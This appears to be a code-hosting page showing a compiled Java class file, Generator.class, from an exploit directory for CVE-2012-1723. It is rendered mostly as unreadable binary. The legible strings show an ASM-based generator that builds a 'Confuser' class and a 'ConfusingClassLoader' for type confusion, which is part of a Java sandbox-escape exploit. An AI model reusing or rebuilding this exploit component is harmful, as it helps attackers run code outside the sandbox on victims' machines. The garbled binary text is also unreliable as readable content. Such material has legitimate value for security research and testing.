Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2012-1723/lib/cve1723/Generator.class
Views: 11788
���� 1 + 8 9 : ; < = > ? @ A B C 8 D E F G H , - I J K J L J M J N J O J B P Q R 8 J S J T J U B V * W X Y % Z % [ % \ ] < <init> ()V Code LineNumberTable generateConfusion ()[B main ([Ljava/lang/String;)V Exceptions ^ SourceFile Generator.java , - org/objectweb/asm/ClassWriter , _ cve1723/Confuser java/lang/Object ` a staticTypeA Ljava/lang/ClassLoader; b c d e - java/lang/StringBuilder instanceTypeB f g f h i j Lcve1723/ConfusingClassLoader; k l m n - o p q r s _ t p confuse 7(Ljava/lang/ClassLoader;)Lcve1723/ConfusingClassLoader; org/objectweb/asm/Label u v w x y r z 1 0 1 java/io/FileOutputStream Confuser.class , { | } ~ - cve1723/Generator java/lang/Exception (I)V visit N(IILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V visitField k(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)Lorg/objectweb/asm/FieldVisitor; org/objectweb/asm/FieldVisitor visitEnd append -(Ljava/lang/String;)Ljava/lang/StringBuilder; (I)Ljava/lang/StringBuilder; toString ()Ljava/lang/String; visitMethod m(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)Lorg/objectweb/asm/MethodVisitor; org/objectweb/asm/MethodVisitor visitCode visitVarInsn (II)V visitMethodInsn :(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V visitInsn visitMaxs visitJumpInsn (ILorg/objectweb/asm/Label;)V visitLabel (Lorg/objectweb/asm/Label;)V visitFieldInsn toByteArray (Ljava/lang/String;)V write ([B)V close ! * + , - . *� � / 0 1 . � » Y� :::1!� � :� 6 d� .� Y� � � � � :� � ���� :� � �� �� � � � :� � � Y� : � � � �� � �� !W� � � �� !6 d� {� �� Y� � � � � !� Y� : �� � �� Y� � � � � ! �� � � ���� �� � � � "� #� / � . $ . % 3 * = + ] , b * h 2 v 3 { 4 � 5 � 6 � 7 � 8 � = � >